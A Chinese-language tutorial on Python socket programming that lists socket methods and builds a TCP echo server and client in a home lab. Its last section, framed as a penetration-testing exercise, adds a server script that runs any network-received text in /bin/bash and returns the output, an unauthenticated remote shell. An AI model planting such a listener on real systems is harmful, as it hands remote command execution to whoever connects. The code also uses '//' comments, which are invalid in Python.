C/S架构
C: Client
S: Server
客户机和服务器结构。Server唯一的目的就是等待Client的请求,Client连上Server器发送必要的数据,然后等待Server端完成请求的反馈
C/S网络编程
Server端进行设置,首先船舰一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,在只要创建一个通信端点,建立到服务器的连接,就可以提出请求了
套接字
套接字是一种具有上述所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字
Python网络编程
socket模块
socket 模块的 socket() 函数用来创建套接字
使用 socket.socket() 函数来创建套接字,方法如下:
socket(socket_family,socket_type,protocol=0)
socket_family: 套接字家族可以使AF_UNIX或者AF_INET
socket_type: 套接字类型可以根据是面向连接的还是非连接分为SOCK_STREAM(TCP)或SOCK_DGRAM(UDP)
protocol: 一般不填默认为0
套接字对象方法
服务器端套接字
s.bind() ----- 绑定地址(host,port)到套接字
s.listen(m) ----- 开始TCP监听。m 为操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5
s.accept() ----- 被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字
s.connect() ----- 主动初始化TCP服务器连接
s.connect_ex() ----- connect()函数的扩展版本,出错时返回出错码,而不是抛出异常
公共用途的套接字函数
s.recv() ----- 接收TCP数据。数据以字符串形式返回,bufsize指定要接收的最大数据
s.send() ----- 发送TCP数据
s.sendall() ----- 完整发送TCP数据。完整发送TCP数据
s.recvfrom() ----- 接收UDP数据。与recv()类似,但返回值是(data,addres)
s.sendto() ----- 发送UDP数据将。数据发送到套接字
s.close() ----- 关闭套接字
s.getpeername() ----- 返回连接套接字的远程地址。返回值通常是元组(ipaddr,port)
s.getsockname() ----- 返回当前套接字的地址。通常是一个元组(ipaddr,port)
...
做个实验吧
实验设备
服务端:Kali Linux主机
客户端:宿主机 ------------------- 互相ping通
服务端
server.py(都写在注释呢)
#!usr /bin/env python
from socket import *
from time import ctime
HOST = ''
PORT = 2334 //监听端口
BUFSIZE = 1024 //传递数据大小
ADDR = (HOST,PORT)
tcpServer = socket(AF_INET,SOCK_STREAM) //创建TCP套接字
tcpServer.bind(ADDR) //绑定地址
tcpServer.listen(5) //可挂起的最大连接数
while True:
print ('waiting for connection...')
tcpClient,addr = tcpServer.accept() //被动接收客户端套接字和地址
print ('..connected from:',addr)
while True:
data = tcpClient.recv(BUFSIZE) //接收客户端数据
if not data:
break
tcpClient.send('[%s] %s'%(ctime(),data)) //将服务端的数据返回给客户端
tcpClient.close()
tcpServer.close()
启动服务端脚本
客户端
client.py
踩坑:因为我客户机是python3,服务端是python2。
data在python2中为str类型,但是在python3中为bytes类型,所以我们要转换参数类型
从str到bytes:调用方法encode()
从bytes到str:调用方法decode()
from socket import *
HOST = '192.168.101.45' //服务端地址
PORT = 2334
BUFSIZE = 1024
ADDR = (HOST,PORT)
tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data = input('!~~!:')
if not data:
break
tcpClient.send(data.encode()) //向服务端发送的数据!data记得转码!
data = tcpClient.recv(BUFSIZE)
if not data:
break
print (data)
tcpClient.close()
启动客户端脚本
连上服务端之后,输入内容,发给服务端,服务端将接收的数据原样发送给客户端,客户端再接收显示
接下来写个反弹shell
渗透测试及内网渗透常用到的东东 (根据测试场景使用)
正向反弹:服务端监听,客户机连接
反向反弹:客户机监听,服务端连接
客户端无需修改。只要服务端将客户端发送的数据,接收并写入系统shell中调用系统命令来执行即可
服务端 shell.py
#!usr /bin/env python
from socket import *
from time import ctime
from subprocess import Popen,PIPE
HOST = ''
PORT = 2334
BUFSIZE = 1024
ADDR = (HOST,PORT)
tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(ADDR)
tcpServer.listen(5)
while True:
print ('waiting for connection...')
tcpClient,addr = tcpServer.accept()
print ('..connected from:',addr)
while True:
data = tcpClient.recv(BUFSIZE)
if not data:
break
shell = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
//将客户端发送的数据带入/bin/bash中执行系统命令
data = shell.stdout.read()
tcpClient.send('[%s] %s'%(ctime(),data)) //将执行命令后的内容返回发送给客户端
tcpClient.close()
tcpServer.close()
服务器开启监听后。客户端执行脚本
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~